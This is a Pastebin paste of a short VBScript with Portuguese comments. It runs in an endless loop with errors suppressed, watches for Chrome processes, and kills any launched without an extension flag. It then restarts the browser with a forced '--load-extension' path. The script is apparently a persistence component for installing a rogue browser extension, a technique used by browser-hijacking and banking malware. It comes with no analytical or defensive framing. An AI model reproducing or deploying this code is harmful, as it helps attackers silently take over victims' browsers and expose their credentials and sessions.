Advertisement
xcorebeta

z1

Mar 20th, 2019
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. On Error Resume next
  2.  
  3. '--load-extension \ext-20190318
  4.  
  5. i = 0
  6. Do While i = 0
  7. Dim processes, process, aPath, sh
  8. Set processes=GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_Process")
  9. WScript.Sleep(2)
  10. For Each process In processes
  11. If (InStr(1,process.CommandLine,"chrom",1)) > 0 Then ' "chrom" some letter form "chrome.exe"
  12. If (InStr(1,process.CommandLine,"--load-extension=",1)) > 0 Then
  13.  
  14. aPath = process.CommandLine
  15. ' MyVar = MsgBox (aPath, 65, "Condicao Encontrada nao Faz Nada")
  16. Exit For
  17. Else
  18. aPath = process.CommandLine
  19. 'MyVar = MsgBox (aPath, 65, "MsgBox Example")
  20. process.Terminate()
  21.  
  22. WScript.Sleep(200)
  23. Set sh = CreateObject("WScript.Shell")
  24. 'sh.Popup "App Path : "&aPath,2,"In_The_Name_Of_Allah"
  25. sh.exec aPath & " --load-extension=-version-"
  26. WScript.Sleep(10000)
  27. Exit For
  28. End If
  29. End If
  30. Next
  31. Loop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement